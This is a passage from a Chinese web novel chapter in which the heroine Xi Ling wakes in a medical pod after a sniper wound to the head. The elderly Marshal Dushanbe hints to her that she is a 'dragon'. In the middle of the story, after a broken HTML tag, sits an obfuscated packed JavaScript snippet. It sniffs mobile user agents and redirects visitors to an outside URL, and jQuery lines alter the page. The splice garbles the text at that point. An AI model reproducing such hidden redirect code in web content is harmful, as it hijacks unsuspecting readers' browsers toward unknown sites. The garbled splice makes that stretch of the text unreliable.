郗灵猛地睁开眼,慌乱间不慎吞咽了一大口溶液。
那液体格外熟悉,温暖的质地里裹着丝丝血腥味,正是人造羊水的味道。
她在淡琥珀色的液体中艰难地撑开沉重的眼皮。
视线里一片模糊,唯有黯淡的光从舱外穿透进来,透过浑浊的人造羊水,朦胧地洒落在她的瞳孔里。
这里是一间暗室,而她,正躺在一台巨大的医疗舱中。
她的意识刚刚清醒,下一秒,剧痛便如潮水般涌来。
郗灵在医疗舱里疼得蜷缩起来,像胎儿蜷缩在母体中那样,双手本能地捂向疼痛的源头——她的脑袋。
指尖刚触到头皮,昏迷前的记忆便骤然浮现在脑海中。
……她想起来了!
当时,她戴着脑机头盔,正在觐见之塔中旁观维尔莱德的故事,但现实世界中,一枚狙击弹突然击穿了她的头颅。
她竟然还活着?
她居然还活着!
下一秒,疑问接踵而至:
是谁发现了在宿舍中中枪的她?
又是谁,将她送到了这台医疗舱里?
也许是人造羊水的修复能力太过强悍,她那被子弹洞穿的大脑竟已完好如初。
当她的双手抚过脑袋时,指尖没有摸到任何伤口,只有残留的钝痛在眉心突突跳动。
随着时间的流逝,郗灵的视线逐渐清晰。
借着暗室里微弱的光线,她看清了医疗舱前的一道人影——
那是个坐在轮椅上小憩,如同风中残烛般的老人。
老人已经衰朽到了极致。
他蜷缩在轮椅中,身形小得仿佛一只刚出生的鼹鼠,浑身皮肤蹙缩得如同风干的核桃,精致的华服套在他干瘪瘦小的躯体上,竟然有种马戏团猴子穿皇帝新衣的既视感。
他的呼吸微弱得几乎听不见,胸腔连一丝起伏都没有,各式各样的维生器械、输液软管与电极线路,密密麻麻地将他缠绕起来,勉强吊着他最后一口气。
他分明活到了早该被死神收走的年纪。
郗灵甚至不敢确定,老人此刻是睡着还是醒着,是活着还是已经没了气息。
“你醒了。”
突然响起的声音让郗灵猛地睁大了眼。
这个风烛残年的老人,竟然还活着?
更意外的是,那声音听起来居然十分健朗。
下一秒,隔着淡琥珀色的人造羊水,郗灵看清了声音的来源。
那句话并非老人亲口所说,而是来自他胸口挂着的一个小型器械——那器械能捕捉脑电波并转译成声音,她曾在伊甸的玻璃罐上见过类似的装置。
而且……这声音莫名有些耳熟。
老人安静地“看”着她。
他早已睁不开自己的眼睛,所谓的“看”,不过是轮椅扶手上一个机械眼装置,正代替他投去视线,定定地落在郗灵身上。
说出这句话后,老人重新陷入沉寂,像是在静静等待郗灵的反应。
几秒后,郗灵的脑海中炸开了一道惊雷。
——杜尚别!
——那是杜尚别元帅的声音!
她陷入了难以掩饰的震惊。
垂垂老矣的杜尚别捕捉到她的反应,发音装置里飘出一声意义不明的气音,像是在低笑。
“你很有趣,郗灵同学。”他说。
郗灵勉强压下翻涌的心绪,深吸了一口舱内的溶液——人造羊水透过皮肤和毛细血管,将氧分与营养缓缓注入她的四肢百骸。
这细微的暖意让她稍定心神。
她张了张嘴,声音隔着液体有些发闷:“校长。”
是的,她没忘。
杜尚别元帅曾对她提过唯一的要求——比起“元帅”,他更偏爱“校长”这个称谓。
听到这声称呼,杜尚别果然笑了。
那包裹在华服里、皱缩得像颗干核桃的躯体,因发笑的动作轻微颤抖起来。
郗灵隔着医疗舱的玻璃小窗,目光落在他衰败枯朽的身体上,脑海中不受控制地浮现出觐见之塔里的情景——
年轻的杜尚别耀眼夺目,眉眼间满是贵不可言的骄矜,一举一动都优雅而高傲。
即使他在国父面前流露出近乎狰狞的恐惧,但他依然是耀眼的,如同蒙尘的宝石依然是宝石。
可现在呢?
他的锐气,他的风姿,连带着那身金枝玉叶的气度,全都消散得干干净净,只剩一具空壳在原地颤抖。
时间向来无情。
一块美玉沦为一蓬枯草,不过只需五十年光阴。
“郗灵同学,你的心里应该藏了不少疑惑吧。”杜尚别的笑声渐渐停止了,那核桃般瘦小的身体也不再颤抖,“我守在这里,就是为了第一时间告诉你答案。”
郗灵安静地躺在医疗舱中。
她清晰地感受到,身体的损伤已经完全修复,可脑袋里的剧痛依然如同针扎一般。
她知道这是大伤初愈的后遗症,但直觉却告诉她:人造羊水再神奇,也不可能修复“洞穿大脑”这种足以瞬间毙命的重伤。
轮椅上的杜尚别,正通过机械眼温和地“望”着她。
郗灵定了定神,强行压下脑中的钝痛,问出了第一个问题。
“校长,”她的声音微微发紧,“您知道……我头上的伤,是怎么治好的吗?”
杜尚别那缩成两条细缝的老眼半眯着,浑浊的视线慢悠悠落在郗灵身上。
他的声音没有任何波澜:“你很聪明,也很敏锐。人造羊水不是生死人肉白骨的神药——在你躺进这台医疗舱之前,你那炸开的脑袋,就已经基本愈合了。”
郗灵闭上眼睛。
一个问题刚冒头,又立刻牵扯出了更多的问题。
那种熟悉的、仿佛行走在浓雾里的茫然与不安,又一次攥紧了她的心脏。
世界像一个巨大的谜团。
而她……似乎从一开始,就是这谜团里的一部分。
她重新睁开眼:“我不明白您的意思。”
“啊,是我的过错,郗灵同学。”杜尚别没有丝毫不耐,语气甚至称得上柔和。
——即便有萧寒剑这层关系在,这位身居高位的元帅,也不该对她这般态度。
郗灵的大脑飞速运转,试图捕捉背后的深意。
但医疗舱外,杜尚别的声音温和地响起:“郗灵同学,你听过帝国皇宫的那则秘闻吗?”
郗灵猛地抬起头。
——什么情况?
——他为什么要提起帝国皇宫?
“皇宫地下藏着一个巨大的空洞,”无视郗灵疑惑的目光,杜尚别兀自讨论着这个话题,“而帝国的初代皇帝,那位流淌着龙血的传奇人物,曾在那里豢养过巨龙。”
龙?
这个带着古老韵律的字眼,如惊雷般在郗灵耳边响起。
郗灵的思维“嗡”地一声炸开了。
无数回忆串联成线索,在她脑中编织出一条完整的线:
她想起“龙”,想起自诩“龙裔”的帝国皇帝。
她想起维尔莱德,想起手术台上,他面不改色地给自己缝合伤口的模样。
她想起那个夜晚,芬迪尔如雷的鼾声与维尔莱德枯坐的身影。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329852|180980||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她想起如水的月光下,维尔莱德抓着杜尚别的手,将冰冷的枪口用力抵在自己胸口上——
“吾友啊,我的弱点不在大脑,而在心脏。”
“下一次,若你认为我应该死去,请一定将枪口对准这里。”
“龙是真实存在的,小友。”杜尚别仍在温和地“看”着她,对她的称呼却变了。
——他对她的称呼,从“同学”换成了更加亲近的“小友”。
杜尚别为什么突然提起龙?
龙和她……又有什么关系?
郗灵浑身控制不住地颤栗起来。
杜尚别透过玻璃小窗,凝视着医疗舱内那张尖俏的脸庞。
——猫一般警惕,兽一般桀骜,野性的生灵一般充满原始的张力。
——仿佛一个自由的、无法被驯服的怪物。
郗灵几乎已经猜到了杜尚别将要出口的话。
也正是因为这份预判,她陷入了一种诡异的、连呼吸都发僵的沉默。
杜尚别的发音装置飘出一声轻响,像是在笑。
他的目光落在郗灵的额头上——那里的伤势在她进舱前,就已经愈合得七七八八。
但他并非第一次见到这样的情景。
遥想当年,他曾在人生最美好的年岁里,遇见了那个让他惊艳半生、也恐惧半生的……真正的怪物。
“龙是真实存在的。”杜尚别的声音带着岁月流淌的气息,像在诉说一段尘封的往事,“郗灵,某种意义上,你是‘龙’。”
郗灵的大脑瞬间一片空白,只剩下这一个字在脑海里反复冲撞——
龙……
龙?
龙!!
“我所说的龙,不是人们把各种野兽的特征拼贴起来,再靠臆想加工出的、长着肉翼的丑陋蜥蜴。”杜尚别操控着轮椅,缓缓靠近医疗舱。
轮椅扶手上,一只机械臂伸向舱体控制面板,按键声“滴滴”响起。
“但不可否认,在人类的认知里,‘龙’正是强大、神秘、超凡的代名词。”杜尚别一边操作,一边解释,“所以,当人类遇到一种无法描述、无法研究、更无法解释的存在时,便会下意识地用‘龙’来为它命名。”
郗灵终于从灭顶的震撼中回过神来。
她的目光紧盯着杜尚别的机械臂——因为后者的操作,舱内的人造羊水正缓缓向下退去,露出她的肩膀与小臂。
氧循环系统“嗡”地启动,新鲜空气顺着舱壁的气孔涌入。
郗灵侧过身,一口口咳出肺里残留的羊水,用仍在隐隐胀痛的肺,小口小口地呼吸着冰冷的空气。
咳了一阵后,她再次看向杜尚别。
——那张垂垂老矣的脸上,竟然带着一丝极淡的怀念。
“初代皇帝曾经驯服了一头巨龙,但是,我在皇家图书馆翻遍了所有书籍,却始终没找到对‘龙’的描写,只有一句‘皇帝驯服巨龙’潦草带过。”
杜尚别的声音慢了下来,带着几分探究的意味:“小友,这太不符合帝王的做派了——胜利者一定会炫耀自己的战利品,比如打下的江山,比如纳娶的美人,比如前无古人的功绩,又比如……一头本应存在于神话中的龙。”
呲!
医疗舱的舱盖在泄压声中向两侧缓缓展开。
微弱的光线涌进郗灵的瞳孔,她终于彻底看清了杜尚别的神情。
他的确在怀念。
他的机械眼明明“盯”着自己,目光却像穿透了她的躯体,落在了另一个遥远的影子上。
——那个人是谁?
——难道是……维尔莱德?